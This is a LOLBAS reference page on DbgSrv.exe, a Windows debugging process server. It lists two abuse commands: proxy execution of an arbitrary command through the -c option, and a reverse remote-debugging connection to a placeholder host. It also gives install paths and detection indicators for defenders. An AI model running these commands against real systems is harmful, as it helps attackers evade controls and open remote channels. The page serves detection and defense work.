LOLBAS. GitHub
LIVING OFF THE LAND / OTHER MICROSOFT BINARIES

DbgSrv.exe

View source

A process server included with Debugging Tools for Windows for remote user-mode debugging.

Execute
02COMMAND EXAMPLES
01ATT&CK TECHNIQUES
01DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

2 examples

Execute2

EXAMPLE 01T1127

Creates a process server and launches the specified command using the DbgSrv.exe -c option.

COMMAND
dbgsrv.exe -t tcp:port=5005 -c {CMD}
USE CASE
Proxy execution of a command through a trusted Microsoft-signed debugging utility.
PRIVILEGES
User
OPERATING SYSTEM
Windows
Execute · CMD
EXAMPLE 02T1127

Establishes an outbound reverse connection from the DbgSrv process server to a remote debugging client using the clicon option. A connected debugging client can subsequently interact with processes through the remote debugging session.

COMMAND
dbgsrv.exe -t tcp:clicon={HOST},port={PORT}
USE CASE
Establish a reverse remote-debugging channel through a trusted Microsoft-signed developer utility.
PRIVILEGES
User
OPERATING SYSTEM
Windows
Execute · Remote
02 / ON DISK

Known paths

C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\dbgsrv.exe
C:\Program Files (x86)\Windows Kits\10\Debuggers\x86\dbgsrv.exe
C:\Program Files\Debugging Tools for Windows (x64)\dbgsrv.exe
C:\Program Files\Debugging Tools for Windows (x86)\dbgsrv.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

1 resources

Indicators & detection notes

  • IOC

    DbgSrv.exe spawning a child process after execution with the -c option.

  • IOC

    DbgSrv.exe command lines containing -c, -pc, clicon=, or hidden.

  • IOC

    DbgSrv.exe establishing an unexpected outbound connection to an external host.

  • IOC

    DbgSrv.exe communicating over ports that are not approved for remote debugging.

  • IOC

    DbgSrv.exe executed from outside an expected Windows Kits or Debugging Tools directory.

  • IOC

    DbgSrv.exe spawning a command interpreter, script engine, or executable from a user-writable directory.

  • IOC

    A normally network-inactive process, such as notepad.exe, initiating an external connection shortly after DbgSrv.exe establishes a connection to the same host or infrastructure.

  • IOC

    DbgSrv.exe launched by explorer.exe on a system where interactive remote debugging is not expected.

REFERENCE IMPLEMENTATIONS

Code samples

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

PHYO PAING HTUN@ChiLaikhun